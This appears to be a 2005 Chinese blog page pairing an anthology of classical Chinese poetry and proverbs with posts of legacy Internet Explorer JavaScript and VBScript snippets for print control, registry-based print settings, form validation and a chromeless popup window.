莫!莫!莫! 
  

.....难!难!难!瞒!瞒!瞒! 

钗头凤        宋 唐婉(陆游之表妹、爱人、前妻) 

世情恶 人情薄 雨送黄昏花易落 
晓风乾 泪痕残 欲笺心事 独倚斜栏 
难!难!难! 
人成个 今非昨 病魂常似秋千索 
角声寒 夜阑珊 怕人询问 咽泪装欢 
瞒!瞒!瞒! 
  

.....夜夜除非 好梦留人睡 

苏幕遮        宋 范仲淹 

碧云天 黄叶地 秋色连波 波上寒烟翠 
山映斜阳天接水 芳草无情 更在斜阳外 
黯乡魂 追旅思 夜夜除非 好梦留人睡 
明月楼高休独倚 酒入愁肠 化作相思泪 
  

.....相见不如不见 有情还似无情 

西江月        宋 司马光 

宝髻松松挽就 铅华淡淡妆成 
红姻翠雾罩轻盈 飞絮游丝无定 
相见不如不见 有情还似无情 
笙歌散後酒微醒 深愿月明人静 
  

.....近水楼台先得月 

献范仲淹诗      宋 苏麟 

近水楼台先得月 向阳花木早逢春 
  

.....沾衣欲湿杏花雨 吹面不寒杨柳风 

绝句         宋 僧志南 

古木阴中系短篷 杖藜扶我过桥东 
沾衣欲湿杏花雨 吹面不寒杨柳风 
  

.....踏破铁鞋无觅处 得来全不费工夫 

绝句         宋 夏元鼎 

崆峒访道至湘湖 万卷诗书看转愚 
踏破铁鞋无觅处 得来全不费工夫 
  

.....悲欢离合总无情 一任阶前点滴到天明 

虞美人        宋 蒋捷 

少年听雨歌楼上 
红烛昏罗帐 
壮年听雨客舟中 
江阔云低断雁叫西风 

而今听雨僧庐下 
鬓已星星也 
悲欢离合总无情 
一任阶前点滴到天明 
  

..... 风薰得游人醉 直把杭州作汴州 

西湖         宋 林升 

山外青山楼外楼 西湖歌舞几时休 
风薰得游人醉 直把杭州作汴州 
  

.....我住长江头 君住长江尾 

卜算子        宋 李之仪 

我住长江头 君住长江尾 
日日思君不见君 共饮长江水 
此水几时休 此恨何时已 
只愿君心似我心 定不负相思意 
  

.....寒夜客来茶当酒 

寒夜         宋 杜耒 

寒夜客来茶当酒 竹炉汤沸火初红 
寻常一样窗前月  有梅花便不同 
  

.....世事如棋 

西阁         宋 僧志文 

杨柳蒹 覆水滨 徘徊南望倚阑频 
年光似鸟翩翩过 世事如棋局局新 
岚积远山秋气象 月升高阁夜精神 
惊飞一阵  起 莲叶舟中把钓人 
  

.....几家欢乐几家愁 

京本通俗小说     宋 

月子弯弯照几州 几家欢乐几家愁 
几家夫妇同罗帐 几家飘散在他州 
  

.....馀人更在孙山外 

           宋 孙山 

解名尽处是孙山 馀人更在孙山外 
  

.....问世间 情是何物 直教生死相许 

摸鱼儿        金 元好问 

问世间 情是何物 直教生死相许 
天南地北双飞客 老翅几回寒暑 
欢乐趣 离别苦 就中更有痴儿女 
君应有语 渺万里层云 千山暮雪 只影向谁去 

横汾路 寂寞当年萧鼓 荒烟依旧平楚 
招魂楚些何嗟及 山鬼暗啼风雨 
天也妒 未信与 莺儿燕子俱黄土 
千愁万古 为留待骚人 狂歌痛饮 来访雁丘处 
  

.....你侬我侬 

宫调(曲调不详)    元 管道升 

你侬我侬 忒煞情多 
情多处热似火 
把一块泥捻一 你 塑一 我 
将咱两 一齐打破 用水调和 
再捻一 你 再塑一 我 
我泥中有你 你泥中有我 
与你生同一 衾 死同一 椁 
  

.....有缘千里来相会 

水浒传叁十四回    元 施耐庵 

有缘千里来相会 无缘对面不相逢 
  

.....人无千日好 花无百日红 

水浒传四十叁回    元 施耐庵 

人无千日好 花无百日红 
  

.....寄与不寄间 妾身千万难 

越调(凭阑人 寄征衣) 元 姚燧 

欲寄君衣君不还 不寄君衣君又寒 
寄与不寄间 妾身千万难 
  

.....一举成名天下知 

琵琶记.蔡公逼试   元 高明 

十年窗下无人问 一举成名天下知 
  

.....身似浮云 心如飞絮 气若游丝 

折桂令 春情     元 徐再思 

平生不会相思 
才会相思 便害相思 
身似浮云 心如飞絮 气若游丝 

空一缕馀香在此 
盼千金游子何之 
正候来时 灯半昏时 月半明时 
  

.....夕阳西下 断肠人在天涯 

天净沙(秋思)     元 马致远 

枯藤老树昏鸦 小桥流水人家 
古道西风瘦马 
夕阳西下 断肠人在天涯 
  

.....青山依旧在 几度夕阳红 

临江仙        明 杨慎 

滚滚长江东逝水 浪花淘尽英雄 
是非成败转头空 
青山依旧在 几度夕阳红 
白发渔樵(翁)江渚上 惯看秋月春风 
一壶浊酒喜相逢 
古今多少事 尽(都)付笑谈中 
  

.....屋漏偏逢连夜雨 

醒世恒言卷一     明 冯梦龙 

屋漏偏逢连夜雨 船迟又遇打头风 
  

.....得饶人处且饶人 

醒世恒言卷五     明 冯梦龙 

但行刻薄人皆怨 能布恩施虎亦亲 
奉劝人行方便事 得饶人处且饶人 
  

.....人逢喜事精神爽 月到中秋分外明 

醒世恒言卷十八    明 冯梦龙 

人逢喜事精神爽 月到中秋分外明 
  

.....冤家宜解不宜结 

醒世恒言卷二十    明 冯梦龙 

万事由天莫强求 何须苦苦用机谋 
宝叁餐饭常知足 得一帆风便可收 
生事事生何日了 害人人害几时休 
冤家宜解不宜结 各自回头看後头 
  

.....善恶到头终有报 

  

.....丈夫有泪不轻弹 

宝剑记.夜奔     明 李开先(林冲夜奔梁山) 

登高欲穷千里目 愁云低锁衡阳路 
鱼书不至雁无凭 几番空作悲愁赋 
回首西山月又斜 天涯孤客真难渡 
丈夫有泪不轻弹 只因未到伤心处 
  

.....两脚踢翻尘世路 一肩担尽古今愁 

绝命词        清 袁枚 

赋性生来本野流 手提竹杖过通州 
饭篮向晓迎残月 歌板临风唱晚秋 
两脚踢翻尘世路 一肩担尽古今愁 
如今不受嗟来食 村犬何须吠不修 
  

.....江山代有人才出 

论诗         清 赵翼 

李杜诗篇万口传 至今已觉不新鲜 
江山代有人才出 各领风骚数百年 
  

.....落红不是无情物 化做春泥更护花 

己亥杂诗       清 龚自珍 

浩荡离愁白日斜 
吟鞭东指即天涯 
落红不是无情物 
化做春泥更护花 
  

.....亦狂亦侠亦温文 

己亥杂诗       清 龚自珍 

不是逢人苦誉君 亦狂亦侠亦温文 
照人胆似秦时月 送我情如岭上云 
  

.....一箫一剑平生意 负尽狂名十五年 

漫感         清 龚自珍 

绝域从军计惘然 
东南幽恨满词笺 
一箫一剑平生意 
负尽狂名十五年 
  

.....百无一用是书生 

杂感         清 黄景仁 

仙佛茫茫两未成 只知独夜不平鸣 
风逢飘尽悲歌气 泥絮招来薄幸名 
十有九八堪白眼 百无一用是书生 
莫因诗卷愁成  春鸟秋虫自作声 
  

.....虎落平阳被犬欺 

醒世姻缘八八回    清 蒲松龄 

龙游浅水遭虾戏 虎落平阳被犬欺 
  

.....多情自古空馀恨 好梦由来最易醒 

无题         清 史清溪 

多情自古空馀恨 好梦由来最易醒 
  

.....情人眼里出西施 有缘千里来相会 

集杭州俗语诗     清 黄增 

色不迷人人自迷 情人眼里出西施 
有缘千里来相会 叁笑徒然当一痴 
  

.....红楼梦选集 

红楼梦        清 曹雪芹 

满纸荒唐言 一把辛酸泪 
都云作者痴 谁解其中味 

红豆词 
滴不尽相思血泪抛红豆 
开不完春柳春花满画楼 
睡不稳纱窗风雨黄昏後 
忘不了新愁与旧愁 
不下玉粒金波噎满喉 
照不尽镜里花容瘦 
展不开眉头 
挨不明更楼 
遮不住的青山隐隐 
流不断的绿水悠悠 
  

.....知人知面不知心 

红楼梦十一回     清 曹雪芹 

知人知面不知心 
  

.....竹密何妨水过 山高不碍云飞 

小窗幽记       陈眉公 

是非场里 出入逍遥 
顺逆境中 纵横自在 
竹密何妨水过 山高不碍云飞 
  

.....话在圈儿外 心在圈儿里 

圈儿词 两般秋雨庵随笔  清 梁绍壬 

相思欲寄无从寄 画个圈儿替 
话在圈儿外 心在圈儿里 
我密密加圈 你需密密知侬意 
单圈儿是我 双圈儿是你 
整圈儿是团圆 破圈儿是别离 
还有那说不尽的相思 把一路圈儿圈到底 
  

.....窈窕淑女 君子好逑 

周南 关雎       诗经 

关关雎鸠 在河之洲 窈窕淑女 君子好逑 
参差荇菜 左右流之 窈窕淑女 寤寐求之 
求之不得 寤寐思服 悠哉悠哉 辗转反侧 
参差荇菜 左右采之 窈窕淑女 琴瑟友之 
参差荇菜 左右 之 窈窕淑女 钟鼓乐之 
  

.....执子之手 与子偕老 

邶风 击鼓      诗经 

击鼓其镗 踊跃用兵 土国城漕 我独南行 
从孙子中 平陈与宋 不我以归 忧心有忡 
爰居爰处 爰丧其马 于以求之 于林之下 
死生契阔 与子成说 执子之手 与子偕老 
于嗟阔兮 不我活兮 于嗟洵兮 不我信兮 
  

.....日出而作 日落而息 

先秦歌 击壤歌 

日出而作 
日入而息 
凿井而饮 
耕田而食 
帝力於我何有哉 
  

.....力拔山河气盖世 

楚辞 垓下歌     秦 项籍 

力拔山兮气盖世 
时不利兮骓不逝 
骓不逝兮争如何 
虞兮虞兮奈若何 
  

.....四面楚歌 

和项羽垓下歌     秦 虞姬 

汉军已略地 四面楚歌声 
大王意气尽 贱妾无聊生 
  

.....结发为夫妻 

李陵录别诗      汉 苏武 

结发为夫妻 恩爱两不疑 
欢娱在今夕 燕婉及良时 
征夫怀往路 起视夜何其 
参辰皆已没 去去从此辞 
行役在战场 相见未有期 
握手一长叹 泪为生别滋 
努力爱春华 莫忘欢乐时 
生当复来归 死当长相思 
  

.....少壮不努力 老大徒伤悲 

古乐府长歌行     汉 佚名 

青青园中葵 朝露待日 
阳春布德泽 万物生光辉 
常恐秋节至  黄华叶衰 
百川东到海 何时复西归 
少壮不努力 老大徒伤悲 
  

.....衣不如新 人不如故 

古 歌        汉 佚名 

茕茕白兔 东走西顾 
衣不如新 人不如故 
  

.....一顾倾人城 再顾倾人国 

汉书 外戚傅     李延年 

北方有佳人 绝世而独立 
一顾倾人城 再顾倾人国 
宁不知倾城与倾国 佳人难再得 
  

.....青青子衿 悠悠我心 

短歌行        叁国 曹操 

对酒当歌 人生几何 
譬如朝露 去日苦多 
慨当以慷 忧思难忘 
何以解忧 惟有杜康 
青青子衿 悠悠我心 
但为君故 沈吟至今 
呦呦鹿鸣 食野之 
我有嘉宾 鼓瑟吹笙 
明明如月 何时可掇 
忧从中来 不可断绝 
越陌度阡 罔用相存 
契阔谈宴 心念旧恩 
月明星稀 乌鹊南飞 
绕树叁匝 何枝可依 
山不厌高 海不厌深 
周公吐哺 天下归心 
  

.....采菊东篱下 悠然见南山 

饮酒诗        东晋 陶渊明 

结卢在人境 而无车马喧 
问君何能尔 心远地自偏 
采菊东篱下 悠然见南山 
山气日夕佳 飞鸟相与还 
此还有真意 欲辨已忘言 
  


送别歌        李叔同 

长亭外 古道边 芳草碧连天 
晚风拂柳笛声残 夕阳山外山 
天之涯 地之角 知交半零落 
一壶浊酒尽馀欢 今宵别梦寒 
  

哀渖阳诗       马君武 

赵四风流朱五狂 翩翩蝴蝶正当行 
温柔乡是英雄冢 哪管东师入渖阳 




  


绝塞关心关塞绝 怜人可有可人怜 
月为无痕无为月 年似多愁多似年 
雪送花枝花送雪 天连水色水连天 
别离还怕还离别 悬念归期归念悬 
  

天上星多月不明 
路上石多路不平 
水中鱼多水不清 
心中人多情不定 
  

蒙蒙细雨红尘梦 
冷冷寒风人世中 
牛郎织女七夕会 
伊人何处再相逢 
  


十里平湖霜满天 
寸寸青丝愁华年 
对月形单望相护 
只羡鸳鸯不羡仙

- 作者: viewercq 2005年06月10日, 星期五 17:50  回复(0) |  引用(0) 加入博采

WEB打印大全之JavaScript
1、控制"纵打"、 横打”和“页面的边距。
(1)<script defer>
function SetPrintSettings() {
 // -- advanced features
 factory.printing.SetMarginMeasure(2) // measure margins in inches
 factory.SetPageRange(false, 1, 3) // need pages from 1 to 3
 factory.printing.printer = "HP DeskJet 870C"
 factory.printing.copies = 2
 factory.printing.collate = true
 factory.printing.paperSize = "A4"
 factory.printing.paperSource = "Manual feed"

 // -- basic features
 factory.printing.header = "This is MeadCo"
 factory.printing.footer = "Advanced Printing by scriptX"
 factory.printing.portrait = false
 factory.printing.leftMargin = 1.0
 factory.printing.topMargin = 1.0
 factory.printing.rightMargin = 1.0
 factory.printing.bottomMargin = 1.0
}
</script>

(2)
<script language="javascript">
  function printsetup(){
  // 打印页面设置
  wb.execwb(8,1);
  }
  function printpreview(){
  // 打印页面预览
    
  wb.execwb(7,1);
     
    
  }

  function printit()
  {
  if (confirm(''确定打印吗?'')) {
  wb.execwb(6,6)
  }
  }
  </script>
</head>
<body>
<OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"

height=0 id=wb name=wb width=0></OBJECT>
<input type=button name=button_print value="打印"

onclick="javascript:printit()">
<input type=button name=button_setup value="打印页面设置"

onclick="javascript:printsetup();">
<input type=button name=button_show value="打印预览"

onclick="javascript:printpreview();">
<input type=button name=button_fh value="关闭"

onclick="javascript:window.close();">

------------------------------------------------
关于这个组件还有其他的用法,列举如下:
WebBrowser.ExecWB(1,1) 打开
Web.ExecWB(2,1) 关闭现在所有的IE窗口,并打开一个新窗口
Web.ExecWB(4,1) 保存网页
Web.ExecWB(6,1) 打印
Web.ExecWB(7,1) 打印预览
Web.ExecWB(8,1) 打印页面设置
Web.ExecWB(10,1) 查看页面属性
Web.ExecWB(15,1) 好像是撤销,有待确认
Web.ExecWB(17,1) 全选
Web.ExecWB(22,1) 刷新
Web.ExecWB(45,1) 关闭窗体无提示

2、分页打印
<HTML>
<HEAD>
<STYLE>  
  P {page-break-after: always}
</STYLE>
</HEAD>
<BODY>
<%while not rs.eof%>
<P><%=rs(0)%></P>
<%rs.movenext%>
<%wend%>
</BODY>
</HTML>

3、ASP页面打印时如何去掉页面底部的路径和顶端的页码编号
(1)ie的文件-〉页面设置-〉讲里面的页眉和页脚里面的东西都去掉,打印就不出来了。
(2)<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="YC">
<script language="VBscript">
dim hkey_root,hkey_path,hkey_key
hkey_root="HKEY_CURRENT_USER"
hkey_path="\Software\Microsoft\Internet Explorer\PageSetup"
''//设置网页打印的页眉页脚为空
function pagesetup_null()
  on error resume next
  Set RegWsh = CreateObject("Wscript.Shell")
  hkey_key="\header"  
  RegWsh.RegWrite hkey_root+hkey_path+hkey_key,""
  hkey_key="\footer"
  RegWsh.RegWrite hkey_root+hkey_path+hkey_key,""
end function
''//设置网页打印的页眉页脚为默认值
function pagesetup_default()
  on error resume next
  Set RegWsh = CreateObject("Wscript.Shell")
  hkey_key="\header"  
  RegWsh.RegWrite hkey_root+hkey_path+hkey_key,"&w&b页码,&p/&P"
  hkey_key="\footer"
  RegWsh.RegWrite hkey_root+hkey_path+hkey_key,"&u&b&d"
end function
</script>
</HEAD>

<BODY>
<br/>
<br/>
<br/>
<br/>
<br/>
<br/><p align=center>
<input type="button" value="清空页码" onclick=pagesetup_null()> <input type="button" value="恢复页吗" onclick=pagesetup_default()><br/>

</p>
</BODY>
</HTML>
4、浮动帧打印
<script LANGUAGE=javascript>
function button1_onclick() {
  var odoc=window.iframe1.document;
  var r=odoc.body.createTextRange();
  var stxt=r.htmlText;
  alert(stxt)
  var pwin=window.open("","print");
  pwin.document.write(stxt);
  pwin.print();
}
</script>
4、用FileSystem组件实现WEB应用中的本地特定打印
<script Language=VBscript>
function print_onclick //打印函数
dim label
label=document.printinfo.label.value //获得HTML页面的数据
set objfs=CreateObject("scripting.FileSystemObject") //创建FileSystem组件对象的实例
set objprinter=objfs.CreateTextFile ("LPT1:",true) //建立与打印机的连接
objprinter.Writeline("__________________________________") //输出打印的内容
objprinter.Writeline("| |")
objprinter.Writeline("| 您打印的数据是:"&label& " |”)
objprinter.Writeline("| |")
objprinter.Writeline("|_________________________________|")
objprinter.close //断开与打印机的连接
set objprinter=nothing
set objfs=nothing // 关闭FileSystem组件对象
end function
</script>
服务器端脚本:
<%………
set conn=server.CreateObject ("adodb.connection")
conn.Open "DSN=name;UID=XXXX;PWD=XXXX;"
set rs=server.CreateObject("adodb.recordset")
rs.Open(“select ……”),conn,1,1
……….%> //与数据库进行交互
HTML页面编码:
<HTML>
………
<FORM ID=printinfo NAME="printinfo" >
<INPUT type="button" value="打印>>" id=print name=print > //调用打印函数
<INPUT type=hidden id=text1 name=label value=<%=………%>> //保存服务器端传来的数据
………
</HTML>

- 作者: viewercq 2005年06月9日, 星期四 17:54  回复(0) |  引用(0) 加入博采

在b/s开发中经常用到的javaScript技术

一、验证类
1、数字验证内
  1.1 整数
  1.2 大于0的整数 (用于传来的ID的验证)
  1.3 负整数的验证
  1.4 整数不能大于iMax
  1.5 整数不能小于iMin
2、时间类
  2.1 短时间,形如 (13:04:06)
  2.2 短日期,形如 (2003-12-05)
  2.3 长时间,形如 (2003-12-05 13:04:06)
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
  4.2 判断字符由字母和数字组成。
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
  5.2 判断ie的版本
  5.3 判断客户端的分辨率
 
6、结合类
  6.1 email的判断。
  6.2 手机号码的验证
  6.3 身份证的验证
 

二、功能类

1、时间与相关控件类
  1.1 日历
  1.2 时间控件
  1.3 万年历
  1.4 显示动态显示时钟效果(文本,如OA中时间)
  1.5 显示动态显示时钟效果 (图像,像手表)
2、表单类
  2.1 自动生成表单
  2.2 动态添加,修改,删除下拉框中的元素
  2.3 可以输入内容的下拉框
  2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送)
 
3、打印类
  3.1 打印控件
4、事件类
  4.1 屏蔽右键
  4.2 屏蔽所有功能键
  4.3 --> 和<-- F5 F11,F9,F1
  4.4 屏蔽组合键ctrl+N
5、网页设计类
  5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现)
  5.2 html编辑控件类
  5.3 颜色选取框控件
  5.4 下拉菜单
  5.5 两层或多层次的下拉菜单
  5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目)
  5.7 状态栏,title栏的动态效果(例子很多,可以研究一下)
  5.8 双击后,网页自动滚屏
6、树型结构。
  6.1 asp+SQL版
  6.2 asp+xml+sql版
  6.3 java+sql或者java+sql+xml
7、无边框效果的制作
8、连动下拉框技术
9、文本排序

一、验证类
1、数字验证内
  1.1 整数
      /^(-|\+)?\d+$/.test(str)
  1.2 大于0的整数 (用于传来的ID的验证)
      /^\d+$/.test(str)
  1.3 负整数的验证
      /^-\d+$/.test(str)
2、时间类
  2.1 短时间,形如 (13:04:06)
      function isTime(str)
      {
        var a = str.match(/^(\d{1,2})(:)?(\d{1,2})\2(\d{1,2})$/);
        if (a == null) {alert('输入的参数不是时间格式'); return false;}
        if (a[1]>24 || a[3]>60 || a[4]>60)
        {
          alert("时间格式不对");
          return false
        }
        return true;
      }
  2.2 短日期,形如 (2003-12-05)
      function strDateTime(str)
      {
         var r = str.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/);
         if(r==null)return false;
         var d= new Date(r[1], r[3]-1, r[4]);
         return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
      }
  2.3 长时间,形如 (2003-12-05 13:04:06)
      function strDateTime(str)
      {
        var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
        var r = str.match(reg);
        if(r==null)return false;
        var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]);
        return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==r[7]);
      }
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
      <input onblur="if(this.value.replace(/^\s+|\s+$/g,'')=='')alert('不能为空!')">
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
      <input onblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')">
  4.2 判断字符由字母和数字组成。
      <input onblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')">
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
      /^([a-zA-z_]{1})([\w]*)$/g.test(str)
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
      window.navigator.appName
  5.2 判断ie的版本
      window.navigator.appVersion
  5.3 判断客户端的分辨率
      window.screen.height;  window.screen.width;
 
6、结合类
  6.1 email的判断。
      function ismail(mail)
      {
        return(new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(mail));
      }
  6.2 手机号码的验证
  6.3 身份证的验证
      function isIdCardNo(num)
      {
        if (isNaN(num)) {alert("输入的不是数字!"); return false;}
        var len = num.length, re;
        if (len == 15)
          re = new RegExp(/^(\d{6})()?(\d{2})(\d{2})(\d{2})(\d{3})$/);
        else if (len == 18)
          re = new RegExp(/^(\d{6})()?(\d{4})(\d{2})(\d{2})(\d{3})(\d)$/);
        else {alert("输入的数字位数不对!"); return false;}
        var a = num.match(re);
        if (a != null)
        {
          if (len==15)
          {
            var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]);
            var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
          }
          else
          {
            var D = new Date(a[3]+"/"+a[4]+"/"+a[5]);
            var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
          }
          if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;}
        }
        return true;
      }

3.7 复选框的全选,多选,全不选,反选
<form name=hrong>
<input type=checkbox name=All onclick="checkAll('mm')">全选<br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/><br/>


<input type=checkbox name=All2 onclick="checkAll('mm2')">全选<br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>

</form>

<SCRIPT LANGUAGE="JavaScript">
function checkAll(str)
{
  var a = document.getElementsByName(str);
  var n = a.length;
  for (var i=0; i<n; i++)
  a[i].checked = window.event.srcElement.checked;
}
function checkItem(str)
{
  var e = window.event.srcElement;
  var all = eval("document.hrong."+ str);
  if (e.checked)
  {
    var a = document.getElementsByName(e.name);
    all.checked = true;
    for (var i=0; i<a.length; i++)
    {
      if (!a[i].checked){ all.checked = false; break;}
    }
  }
  else all.checked = false;
}
</SCRIPT>

3.8 文件上传过程中判断文件类型
<input type=file onchange="alert(this.value.match(/^(.*)(\.)(.{1,8})$/)[3])">

画图:
<OBJECT
id=S
style="LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px"
height=240
width=392
classid="clsid:369303C2-D7AC-11D0-89D5-00A0C90833E6">
</OBJECT>
<SCRIPT>
S.DrawingSurface.ArcDegrees(0,0,0,30,50,60);
S.DrawingSurface.ArcRadians(30,0,0,30,50,60);
S.DrawingSurface.Line(10,10,100,100);
</SCRIPT>

写注册表:
<SCRIPT>
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.RegWrite ("HKCU\\Software\\ACME\\FortuneTeller\\", 1, "REG_BINARY");
WshShell.RegWrite ("HKCU\\Software\\ACME\\FortuneTeller\\MindReader", "Goocher!", "REG_SZ");
var bKey =    WshShell.RegRead ("HKCU\\Software\\ACME\\FortuneTeller\\");
WScript.Echo (WshShell.RegRead ("HKCU\\Software\\ACME\\FortuneTeller\\MindReader"));
WshShell.RegDelete ("HKCU\\Software\\ACME\\FortuneTeller\\MindReader");
WshShell.RegDelete ("HKCU\\Software\\ACME\\FortuneTeller\\");
WshShell.RegDelete ("HKCU\\Software\\ACME\\");
</SCRIPT>

TABLAE相关(客户端动态增加行列)
<HTML>
<SCRIPT LANGUAGE="JScript">
function numberCells() {
    var count=0;
    for (i=0; i < document.all.mytable.rows.length; i++) {
        for (j=0; j < document.all.mytable.rows(i).cells.length; j++) {
            document.all.mytable.rows(i).cells(j).innerText = count;
            count++;
        }
    }
}
</SCRIPT>
<BODY onload="numberCells()">
<TABLE id=mytable border=1>
<TR><TH>&nbsp;</TH><TH>&nbsp;</TH><TH>&nbsp;</TH><TH>&nbsp;</TH></TR>
<TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR>
<TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR>
</TABLE>
</BODY>
</HTML>

1.身份证严格验证:

<script>
var aCity={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"}
 
function cidInfo(sId){
 var iSum=0
 var info=""
 if(!/^\d{17}(\d|x)$/i.test(sId))return false;
 sId=sId.replace(/x$/i,"a");
 if(aCity[parseInt(sId.substr(0,2))]==null)return "Error:非法地区";
 sBirthday=sId.substr(6,4)+"-"+Number(sId.substr(10,2))+"-"+Number(sId.substr(12,2));
 var d=new Date(sBirthday.replace(/-/g,"/"))
 if(sBirthday!=(d.getFullYear()+"-"+ (d.getMonth()+1) + "-" + d.getDate()))return "Error:非法生日";
 for(var i = 17;i>=0;i --) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 - i),11)
 if(iSum%11!=1)return "Error:非法证号";
 return aCity[parseInt(sId.substr(0,2))]+","+sBirthday+","+(sId.substr(16,1)%2?"男":"女")
}

document.write(cidInfo("380524198002300016"),"<br/>");
document.write(cidInfo("340524198002300019"),"<br/>")
document.write(cidInfo("340524197711111111"),"<br/>")
document.write(cidInfo("34052419800101001x"),"<br/>");
</script>

2.验证IP地址
<SCRIPT LANGUAGE="JavaScript">
function isip(s){
 var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}};
 var re=s.split(".")
 return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false
}

var s="202.197.78.129";
alert(isip(s))
</SCRIPT>

 

3.加sp1后还能用的无边框窗口!!
<HTML XMLNS:IE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<IE:Download ID="include" STYLE="behavior:url(#default#download)" />
<title>Chromeless Window</title>

<SCRIPT LANGUAGE="JScript">
/*--- Special Thanks For andot ---*/

/*
 This following code are designed and writen by Windy_sk <seasonx@163.net>
 You can use it freely, but u must held all the copyright items!
*/

/*--- Thanks For andot Again ---*/

var CW_width = 400;
var CW_height = 300;
var CW_top = 100;
var CW_left = 100;
var CW_url = "/";
var New_CW = window.createPopup();
var CW_Body = New_CW.document.body;
var content = "";
var CSStext = "margin:1px;color:black; border:2px outset;border-style:expression(onmouseout=onmouseup=function(){this.style.borderStyle='outset'}, onmousedown=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";

//Build Window
include.startDownload(CW_url, function(source){content=source});

function insert_content(){
 var temp = "";
 CW_Body.style.overflow  = "hidden";
 CW_Body.style.backgroundColor = "white";
 CW_Body.style.border  =  "solid black 1px";
 content = content.replace(/<a ([^>]*)>/g,"<a onclick='parent.open(this.href);return false' $1>");
 temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";
 temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' ondblclick=\"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();\" onmouseup='parent.drag_up(event)' onmousemove='parent.drag_move(event)' onmousedown='parent.drag_down(event)' onselectstart='return false' oncontextmenu='return false'>";
 temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";
 temp += "<td style='color:#ffffff;padding-right:5px;' align=right>";
 temp += "<span id=Help  onclick=\"alert('Chromeless Window For IE6 SP1  -  Ver 1.0\\n\\nCode By Windy_sk\\n\\nSpecial Thanks For andot')\" style=\""+CSStext+"font-family:System;padding-right:2px;\">?</span>";
 temp += "<span id=Min   onclick='parent.New_CW.hide();parent.blur()' style=\""+CSStext+"font-family:Webdings;\" title='Minimum'>0</span>";
